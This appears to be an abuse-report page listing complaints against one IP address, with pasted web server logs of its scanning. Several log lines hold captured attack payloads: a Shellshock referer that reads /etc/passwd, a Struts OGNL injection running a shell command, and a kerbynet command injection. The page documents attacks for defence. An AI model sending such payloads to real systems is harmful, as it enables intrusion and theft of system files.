🇳🇱
Linuxmalwarehuntingnl
2024-07-03 08:56:56
(2 years ago)
Unauthorized connection attempt
Brute-Force
2024-02-04 09:24:05
(2 years ago)
[Tue Jan 16 15:36:05.575585 2024] [proxy_fcgi:error] [pid 2472141] [client 193.35.18.39:56472] AH010 ...
show more
[Tue Jan 16 15:36:05.575585 2024] [proxy_fcgi:error] [pid 2472141] [client 193.35.18.39:56472] AH01071: Got error 'Primary script unknown'
...
show less
Web App Attack
2024-01-31 23:02:45
(2 years ago)
193.35.18.39 - - [16/Jan/2024:01:53:11 +0100] "GET /spip.php?page=spip_pass HTTP/1.1" 404 256 "-" "M ...
show more
193.35.18.39 - - [16/Jan/2024:01:53:11 +0100] "GET /spip.php?page=spip_pass HTTP/1.1" 404 256 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36"
193.35.18.39 - - [16/Jan/2024:02:11:59 +0100] "POST /_ignition/execute-solution HTTP/1.1" 404 256 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36"
193.35.18.39 - - [16/Jan/2024:02:11:59 +0100] "POST /_ignition/execute-solution HTTP/1.1" 404 256 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36"
...
show less
Brute-Force
Bad Web Bot
Web App Attack
🇸🇪
webbfabriken
2024-01-25 13:24:59
(2 years ago)
spam or other hacking activities reported by webbfabriken security servers
Attack reported by Webbf ...
show more
spam or other hacking activities reported by webbfabriken security servers
Attack reported by Webbfabiken Security API - WFSecAPI
show less
Web Spam
🇸🇪
webbfabriken
2024-01-22 21:19:37
(2 years ago)
spam or other hacking activities reported by webbfabriken security servers
Attack reported by Webbf ...
show more
spam or other hacking activities reported by webbfabriken security servers
Attack reported by Webbfabiken Security API - WFSecAPI
show less
Web Spam
🇩🇪
akcurate.de
2024-01-22 12:14:16
(2 years ago)
[Mon Jan 22 13:14:14.977529 2024] [cgid:error] [pid 327403:tid 327456] [client 193.35.18.39:59558] A ...
show more
[Mon Jan 22 13:14:14.977529 2024] [cgid:error] [pid 327403:tid 327456] [client 193.35.18.39:59558] AH01264: script not found or unable to stat: /var/www/cgi-bin/mainfunction.cgi
...
show less
Brute-Force
Web App Attack
🇩🇪
ps-center
2024-01-22 10:34:21
(2 years ago)
ENG: Web Attack POST /wp-admin/admin-ajax.php
Web Spam
Hacking
Bad Web Bot
Web App Attack
🇺🇸
physke
2024-01-22 06:05:16
(2 years ago)
REQUESTED PAGE: /cgi-bin/login?LD_DEBUG=files
Web App Attack
🇨🇭
Mario Bretscher
2024-01-22 05:00:44
(2 years ago)
[Mon Jan 22 06:00:42.302203 2024] [cgid:error] [pid 461277] [client 193.35.18.39:48690] AH01264: scr ...
show more
[Mon Jan 22 06:00:42.302203 2024] [cgid:error] [pid 461277] [client 193.35.18.39:48690] AH01264: script not found or unable to stat: /usr/lib/cgi-bin/status, referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Mon Jan 22 06:00:42.971684 2024] [cgid:error] [pid 460235] [client 193.35.18.39:48692] AH01264: script not found or unable to stat: /usr/lib/cgi-bin/stats, referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Mon Jan 22 06:00:43.878900 2024] [cgid:error] [pid 461280] [client 193.35.18.39:48694] AH01264: script not found or unable to stat: /usr/lib/cgi-bin/test, referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
...
show less
Web App Attack
🇳🇱
vestibtech
2024-01-22 02:49:16
(2 years ago)
193.35.18.39 - - [21/Jan/2024:19:49:16 -0700] "GET /index.action?redirect:${%23a%3d(new%20java.lang. ...
show more
193.35.18.39 - - [21/Jan/2024:19:49:16 -0700] "GET /index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 300 8680 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36"
...
show less
Web App Attack
🇩🇪
rico-j.de
2024-01-22 02:44:30
(2 years ago)
2024/01/22 03:36:08 [error] 112105#112105: *5016 open() "/var/www/rico-j/cgi-bin/rpc" failed (2: No ...
show more
2024/01/22 03:36:08 [error] 112105#112105: *5016 open() "/var/www/rico-j/cgi-bin/rpc" failed (2: No such file or directory), client: 193.35.18.39, server: rico-j.de, request: "POST /cgi-bin/rpc HTTP/1.1", host: "rico-j.de"
2024/01/22 03:44:30 [error] 112105#112105: *5100 open() "/var/www/rico-j/cgi-bin/kerbynet" failed (2: No such file or directory), client: 193.35.18.39, server: rico-j.de, request: "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1", host: "rico-j.de"
...
show less
Bad Web Bot
2024-01-22 02:39:02
(2 years ago)
Bot / scanning and/or hacking attempts: POST /cgi-bin/rpc HTTP/1.1
Hacking
Web App Attack
🇺🇸
physke
2024-01-22 01:06:08
(2 years ago)
REQUESTED PAGE: /assets/php/upload.php
Web App Attack
🇧🇪
taivas.nl
2024-01-22 00:32:10
(2 years ago)
Bad_requests
Bad Web Bot
🇩🇪
akcurate.de
2024-01-21 22:19:37
(2 years ago)
[Sun Jan 21 23:19:35.615537 2024] [proxy_fcgi:error] [pid 295132:tid 295263] [client 193.35.18.39:33 ...
show more
[Sun Jan 21 23:19:35.615537 2024] [proxy_fcgi:error] [pid 295132:tid 295263] [client 193.35.18.39:33220] AH01071: Got error 'Primary script unknown'
...
show less
Brute-Force
Web App Attack